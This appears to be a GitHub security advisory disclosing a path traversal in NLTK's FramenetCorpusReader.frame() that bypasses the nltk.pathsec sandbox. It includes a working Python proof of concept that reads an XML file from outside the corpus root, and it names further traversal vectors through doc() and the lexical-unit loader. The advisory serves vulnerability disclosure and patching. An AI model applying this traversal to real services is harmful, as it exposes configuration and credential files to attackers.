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Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)

High severity GitHub Reviewed Published Jun 11, 2026 in nltk/nltk

Package

pip nltk (pip)

Affected versions

<= 3.9.4

Patched versions

3.10.0

Description

Summary

FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.

Details

frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.

The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:

  • doc() — uses the index entry filename field
  • the lexical-unit file loader — uses the lexUnit ID attribute

These are reachable through a malicious or attacker-modified FrameNet corpus index.

PoC

"""

import os
import sys
import tempfile
import warnings
from pathlib import Path

warnings.filterwarnings("ignore")

# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True

import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError

FRAME_XML = (
    '<?xml version="1.0" encoding="UTF-8"?>\n'
    '<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
    "<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
    "</frame>\n"
)

BANNER = """\
===========================================================
 NLTK FramenetCorpusReader.frame() Path Traversal PoC
 nltk {ver}   |   nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
    ver=nltk.__version__, enforce=ps.ENFORCE
)


def build_corpus():
    """Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
    base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
    root = base / "corpora" / "framenet"
    for d in ("frame", "fulltext", "lu"):
        (root / d).mkdir(parents=True)
    (root / "frameIndex.xml").write_text(
        '<?xml version="1.0"?><frameIndex></frameIndex>'
    )
    (root / "frRelation.xml").write_text(
        '<?xml version="1.0"?><frameRelations></frameRelations>'
    )

    # A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
    secret = base / "private"
    secret.mkdir()
    (secret / "secret.xml").write_text(FRAME_XML)

    return base, root, secret / "secret.xml"


def main():
    print(BANNER)
    base, root, secret_path = build_corpus()
    print(f"[*] corpus root : {root}")
    print(f"[*] secret file : {secret_path}  (OUTSIDE the root)\n")

    fn = FramenetCorpusReader(str(root), [])

    # Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
    evil = os.path.join("..", "..", "..", "private", "secret")
    print(f"[*] calling   fn.frame({evil!r})")

    try:
        f = fn.frame(evil)
        definition = f["definition"]
        if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
            print("\n  [VULN] out-of-root file was read and returned to caller")
            print(f"         frame name : {evil}")
            print(f"         frame ID   : {f['ID']}   name: {f['name']}")
            print(f"         definition : {definition}")
            print(f"\n  -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
            verdict = "VULNERABLE"
        else:
            print(f"\n  [?] frame() returned but content unexpected: {definition!r}")
            verdict = "INCONCLUSIVE"
    except FramenetError as e:
        # Patched build (#3581): _reject_unsafe_path_component raises before open().
        print(f"\n  [SAFE] FramenetError: {e}")
        print("         traversal rejected before any file was opened (patched)")
        verdict = "NOT VULNERABLE"
    except Exception as e:
        print(f"\n  [SAFE] {type(e).__name__}: {e}")
        verdict = "NOT VULNERABLE"

    # Control: a plain absent name must fail as 'Unknown frame', NOT as a read.
    print("\n[CONTROL] benign absent name should be 'Unknown frame':")
    try:
        fn.frame("Definitely_Not_A_Frame")
        print("  [?] unexpectedly succeeded")
    except Exception as e:
        print(f"  ok -> {type(e).__name__}: {e}")

    print("\n" + "=" * 59)
    print(f" Result: {verdict}  (ENFORCE = {ps.ENFORCE})")
    print("=" * 59)


if __name__ == "__main__":
    main()

Impact

  • Out-of-sandbox arbitrary XML read. Any application that routes attacker-influenced input into frame() can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. frame() is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.
  • Broad read primitive. Only a fixed .xml extension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.
  • Silent bypass of an advertised boundary. NLTK's SECURITY.md presents the nltk.pathsec sandbox and ENFORCE=True as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because frame_by_name builds the path itself and reads through a string-path XMLCorpusView, the containment guard is never called and ENFORCE=True does not block the read — silently, with no error or warning.
  • Crafted-corpus reach. Via doc() and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.
  • Sensitive targets. Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where frame() output is reflected to the requester, disclosure is direct and non-blind.

References

@ekaf ekaf published to nltk/nltk Jun 11, 2026
Published by the National Vulnerability Database Jun 15, 2026
Published to the GitHub Advisory Database Jul 31, 2026
Reviewed Jul 31, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

CVE-2026-12074

GHSA ID

GHSA-xh95-f55m-82fw

Source code

Credits

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